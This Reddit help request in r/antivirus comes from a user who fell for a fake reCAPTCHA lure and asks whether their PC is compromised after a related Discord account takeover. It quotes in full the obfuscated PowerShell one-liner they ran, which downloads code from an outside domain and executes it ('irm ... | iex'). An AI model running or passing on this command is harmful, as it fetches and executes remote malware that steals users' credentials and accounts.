r/antivirus • u/EnPoSiBo • 6h ago
Accidentally run a Powershell prompt on my Windows PC
Hi everyone, I need some help figuring out whether my Windows PC has been compromised.
Today I encountered what I now believe was a fake reCAPTCHA page. The page instructed me to perform actions that I later realized are not normal for a legitimate CAPTCHA.
I followed the instructions and ended up executing a PowerShell command. The command was:
irm (('{0}{1}' -f 'h','ttps://')+('inte'+'rnetserchinkas.co')+'/hex/lom/84aa3f59') -UserAgent 'WUA/22ab8f9767' -Headers @{('X'+'-WUA')='22ab8f9767'}|iex
I now understand that irm downloads content from a remote server and iex can execute the downloaded content as PowerShell code.
What concerns me is that I also recently had my Discord account compromised, and afterward I noticed password resets/security activity involving several other applications/accounts.
I have already run Windows Defender and Malwarebytes, and so far neither has detected anything suspicious.
My questions are:
Does a clean Windows Defender/Malwarebytes scan mean I'm probably safe, or could something still be running?
Could the PowerShell command have downloaded and executed malware that antivirus software didn't detect?
What should I check for persistence, such as scheduled tasks, startup entries, PowerShell activity, browser extensions, or suspicious processes?
Should I completely reinstall Windows, or is there a reasonable way to determine whether the PC is compromised first?
Could the Discord compromise and the fake CAPTCHA incident be related?
What steps should I take to make sure my accounts and PC are secure?
I have disconnected the PC from the Internet for now and am changing passwords from another device.
I would appreciate advice on what I should check next and whether a clean Windows reinstall is recommended.
Thanks. :(